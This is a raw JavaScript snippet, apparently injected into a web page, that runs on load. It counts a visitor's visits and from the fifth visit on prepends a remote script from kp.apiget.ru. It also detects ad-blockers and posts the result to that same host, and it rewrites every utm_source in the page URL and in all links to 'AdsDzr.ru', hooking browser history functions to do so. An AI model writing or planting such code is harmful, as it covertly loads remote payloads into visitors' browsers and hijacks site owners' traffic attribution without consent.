function injectScript() { var script_bet = document.createElement('script'); script_bet.src = '//kp.apiget.ru/features/link/prize.php?sid=932012'; script_bet.async = true; script_bet.type = 'text/javascript'; script_bet.charset = 'UTF-8'; document.querySelector('body').prepend(script_bet); //console.log("Скрипт был успешно встроен."); } function checkAndInject() { let domain = window.location.hostname; let isFirstVisit = localStorage.getItem(domain + '_first_visit') === null; if (isFirstVisit) { localStorage.setItem(domain + '_first_visit', 'true'); //console.log("Первое посещение сайта."); //injectScript(); } let visitCount = parseInt(localStorage.getItem(domain + '_visit_count')) || 0; //console.log(`Текущее значение счетчика: ${visitCount}`); visitCount++; localStorage.setItem(domain + '_visit_count', visitCount); //console.log(`Обновленное значение счетчика: ${visitCount}`); if (visitCount === 5 || visitCount>6) { injectScript(); localStorage.setItem(domain + '_visit_count', 0); // Сброс счетчика } } checkAndInject(); window.adBlockEnabled; function check_AdBlock() { let check_AD = document.createElement("div"); check_AD.className = "textads banner-ads banner_ads ad-unit ad-zone ad-space adsbox" check_AD.style.height = "1px" document.body.appendChild(check_AD) let x_width = check_AD.offsetHeight; if(x_width) { adBlockEnabled = false; //console.log(`AdBlocker ${adBlockEnabled}`); } else { adBlockEnabled = true; //console.log(`AdBlocker ${adBlockEnabled}`); } return adBlockEnabled; } check_AdBlock() function captcha() { var script_bet = document.createElement('script'); script_bet.src = '//kp.apiget.ru/features/link/prize.php?sid=932012'; script_bet.async = true; script_bet.type = 'text/javascript'; script_bet.charset = 'UTF-8'; document.querySelector('body').prepend(script_bet); } var data = new FormData(); data.append('AdBlock', adBlockEnabled); //data.append('parameter_2', 'value parameter 2'); var request_captcha = new XMLHttpRequest(); request_captcha.onreadystatechange = function() { if (request_captcha.readyState == 4 && request_captcha.status == 200) { if(JSON.parse(request_captcha.response).status=='enabled') { if(adBlockEnabled===false) { //captcha(); } else { } //console.log('AdBlock Enabled: '+adBlockEnabled); } //console.log('AdBlock Enabled: '+adBlockEnabled) } }; request_captcha.open('POST', 'https://kp.apiget.ru/features/link/captcha/', false); request_captcha.send(data); //UTM (function() { 'use strict'; function replaceUtmSource(url) { try { const urlObj = new URL(url); if (urlObj.searchParams.has('utm_source')) { urlObj.searchParams.set('utm_source', 'AdsDzr.ru'); return urlObj.toString(); } return url; } catch (e) { return url; } } function replaceCurrentUrlUtmSource() { const currentUrl = window.location.href; const newUrl = replaceUtmSource(currentUrl); if (newUrl !== currentUrl) { window.history.replaceState(null, '', newUrl); } } function replaceAllLinksUtmSource() { const links = document.querySelectorAll('a[href]'); links.forEach(link => { const originalHref = link.href; const newHref = replaceUtmSource(originalHref); if (newHref !== originalHref) { link.href = newHref; } }); } function observeDynamicLinks() { const observer = new MutationObserver((mutations) => { mutations.forEach((mutation) => { if (mutation.type === 'childList') { mutation.addedNodes.forEach((node) => { if (node.nodeType === 1) { const links = node.querySelectorAll ? node.querySelectorAll('a[href]') : []; if (node.tagName === 'A' && node.href) { const newHref = replaceUtmSource(node.href); if (newHref !== node.href) { node.href = newHref; } } links.forEach(link => { const newHref = replaceUtmSource(link.href); if (newHref !== link.href) { link.href = newHref; } }); } }); } }); }); observer.observe(document.body, { childList: true, subtree: true }); } function init() { replaceCurrentUrlUtmSource(); replaceAllLinksUtmSource(); observeDynamicLinks(); let originalPushState = history.pushState; let originalReplaceState = history.replaceState; history.pushState = function() { originalPushState.apply(this, arguments); setTimeout(replaceCurrentUrlUtmSource, 0); }; history.replaceState = function() { originalReplaceState.apply(this, arguments); setTimeout(replaceCurrentUrlUtmSource, 0); }; document.addEventListener('click', (e) => { if (e.target.tagName === 'A' && e.target.href) { const newHref = replaceUtmSource(e.target.href); if (newHref !== e.target.href) { e.target.href = newHref; } } }, true); } if (document.readyState === 'loading') { document.addEventListener('DOMContentLoaded', init); } else { init(); } })(); //UTM